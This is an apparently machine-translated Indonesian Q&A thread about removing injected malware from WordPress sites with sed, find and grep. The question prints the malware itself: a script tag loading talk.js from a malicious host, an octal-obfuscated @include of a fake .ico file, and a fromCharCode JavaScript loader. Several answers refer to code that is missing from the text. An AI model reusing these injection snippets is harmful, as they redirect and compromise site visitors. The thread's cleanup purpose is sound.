Jadi seluruh server saya diretas atau ada masalah malware. situs saya didasarkan pada WordPress dan sebagian besar situs yang dihosting di server saya berbasis WordPress. Peretas menambahkan baris kode ini ke setiap file dan dalam basis data
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Saya memang mencarinya via grep menggunakan
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Saya mencoba untuk menggantinya di seluruh struktur file dengan sed
dan saya telah menulis perintah berikut.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Saya mencoba mengganti string pada satu file index.php
terlebih dahulu, jadi saya tahu itu berfungsi.
dan saya tahu kode saya salah. Tolong bantu saya dengan ini.
Saya mencoba dengan kode @ Eran dan menghapus seluruh baris, yang bagus dan seperti yang diharapkan. Namun, jargon totalnya adalah ini
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
Dan sementara saya ingin menghapus semua konten, saya ingin menyimpan tag pembuka php <?php
.
Meskipun solusi @ slybloty mudah dan berhasil.
jadi untuk menghapus kode sepenuhnya dari semua file yang terpengaruh. Saya menjalankan 3 perintah berikut, Terima kasih kepada Anda semua untuk ini.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Untuk menghapus baris skripfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Untuk menghapus@include
garisfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Untuk menghapus baris komentar
Juga, saya menjalankan semua 3 perintah lagi '*.html'
, karena skrip peretas membuat index.html yang tidak diinginkan di semua direktori. Saya tidak yakin apakah menghapus index.html ini secara massal adalah pendekatan yang tepat.
sekarang, saya masih perlu mencari tahu file sampah dan jejaknya.
Skrip hacker menambahkan kode JS juga.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Mencoba melihat apakah saya bisa sed
melakukannya juga.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
The-l
option hanya menyediakan nama file dan tidak pencocokan teks.sed -i
. Misalnya,sed -i.bak
akan membuat*.bak
file untuk semua file yang diedit. Saat digunakan denganwhile...grep
loop, Anda hanya akan membuat cadangan file yang berisi string itu. Maaf untuk semua komentar tambahan, tetapi menurut pendapat saya, malware adalah skenario "semua di dek".Jawaban:
Gunakan tanda kutip ganda (
"
) untuk string dan jangan lepas tanda kutip tunggal ('
) atau tag (<>
). Hanya lepas dari garis miring (/
).sumber
Metode apa pun yang Anda putuskan untuk digunakan dengan sed, Anda dapat menjalankan banyak proses secara bersamaan pada banyak file dengan opsi pemfilteran sempurna dengan
find
danxargs
. Sebagai contoh:Itu akan:
find
- Temukan-type f
- hanya file-name '*.txt'
- yang berakhir dengan php-print0
- pritn mereka dipisahkan oleh nol byte| xargs -0
- untuk setiap file yang dipisahkan oleh nol byte-P7
- Jalankan 7 proses secara bersamaan-n1
- untuk masing-masing filesed
- untuk setiap file jalankan sed-i
- edit file di tempat'...'
- skrip sed yang ingin Anda jalankan dari jawaban lain.Anda mungkin ingin menambahkan
-t
opsixargs
untuk melihat perkembangannya. Lihat man find (man args) ( http://man7.org/linux/man-pages/man1/xargs.1.html ).sumber
Kutipan tunggal diambil secara harfiah tanpa karakter melarikan diri. Di
var='hello\''
, Anda memiliki kutipan yang tidak ditutup.Untuk memperbaiki masalah ini, 1) Gunakan tanda kutip ganda untuk mengelilingi
sed
perintah ATAU 2) Hentikan string yang dikutip tunggal, tambahkan\'
, dan buka kembali string kutipan.Namun, metode kedua lebih membingungkan.
Selain itu,
sed
dapat menggunakan pembatas apa pun untuk memisahkan perintah. Karena Anda memiliki garis miring pada perintah, lebih mudah untuk menggunakan koma. Misalnya, menggunakan metode pertama:Menggunakan metode kedua:
Contoh ini lebih mendidik daripada praktis. Inilah cara
'\''
kerjanya:Pertama
'
: Akhiri string literal yang dikutip saat ini\'
: Masukkan kutipan tunggal sebagai karakter literalKedua
'
: Masukkan kembali string literal yang dikutipSelama tidak ada spasi di sana, Anda hanya akan melanjutkan
sed
perintah Anda . Ide ini unik untukbash
.Saya meninggalkan yang melarikan diri
<
dan>
di sana karena saya tidak sepenuhnya yakin untuk apa Anda menggunakannya.sed
menggunakan\<
dan\>
untuk maksud pencocokan kata. Saya tidak yakin apakah itu disengaja atau tidak.Jika ini tidak cocok dengan apa pun, maka Anda mungkin ingin menghindari melarikan diri
<
dan>
.Sunting: Silakan lihat solusi @ EranBen-Natan di komentar untuk solusi yang lebih praktis untuk masalah aktual. Jawaban saya lebih merupakan sumber daya mengapa OP diminta untuk lebih banyak input dengan perintah aslinya.
Solusi untuk edit 2
Agar ini berfungsi, saya membuat asumsi bahwa Anda
sed
memiliki opsi non-standar-z
. Versi GNUsed
seharusnya memiliki ini. Saya juga membuat asumsi bahwa kode ini selalu muncul dalam format yang panjangnya 6 barisCara kerjanya: Kami menggunakan awal baris fromCharCode untuk mencocokkan semuanya.
-z
memisahkan file pada nulls bukannya baris baru. Ini memungkinkan kami untuk mencari umpan baris secara langsung.[^\n]*\n
- Ini cocok dengan semuanya hingga umpan baris, dan kemudian cocok dengan umpan baris, menghindari pencocokan regex serakah. Karena kami tidak membagi umpan baris (-z
), regexvar pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n
cocok dengan yang paling cocok. Misalnya, jika\n}\n
muncul di mana saja lebih jauh di dalam file, Anda akan menghapus semua kode antara di sana dan kode berbahaya. Jadi, mengulangi urutan ini 6 kali cocok dengan kita sampai akhir baris pertama dan 5 baris berikutnya.grep -lr
- Hanya rekursif digrep
mana kami hanya mencantumkan file yang memiliki pola yang cocok. Dengan cara ini,sed
tidak mengedit setiap file. Tanpa ini,-i.bak
(tidak jelas-i
) akan membuat berantakan.sumber
rsync
untuk membuat cadangan dan memulihkan.Apakah Anda sudah menginstal plugin wp-mail-smtp? Kami memiliki malware yang sama dan ada beberapa hal aneh di dalamnya
wp-content/plugins/wp-mail-smtp/src/Debug.php
.Juga, tautan javascript ada di setiap
post_content
bidang diwp_posts
dalam basis data WordPress.sumber
super-socialat
, periksa juga.Saya mendapatkan hal yang sama hari ini, semua posting halaman mendapat script virus jahat ini ditambahkan
Saya menonaktifkannya dari basis data oleh
Saya tidak memiliki file yang terinfeksi setidaknya
tidak menemukan apa-apa, tapi saya tidak tahu bagaimana ini masuk ke dalam database dari mana saya tidak tenang sama sekali.
Infeksi ini menyebabkan pengalihan pada halaman, sebagian besar chrome mendeteksi dan memblokir ini. Tidak melihat sesuatu yang aneh di - /wp-mail-smtp/src/Debug.php
sumber
Saya mendapatkan hal yang sama hari ini, semua posting halaman ditambahkan skrip. Saya telah berhasil menangani mereka dengan menggunakan https://en.wordpress.org/plugins/search-and-replace/ plugin.
Selain itu, saya juga menemukan satu catatan di tabel wp_posts kolom post_content string berikut:
dan menghapusnya secara manual.
sumber
Bagi saya bekerja ini:
Anda harus mencari: * .js, * .json, * .map
sumber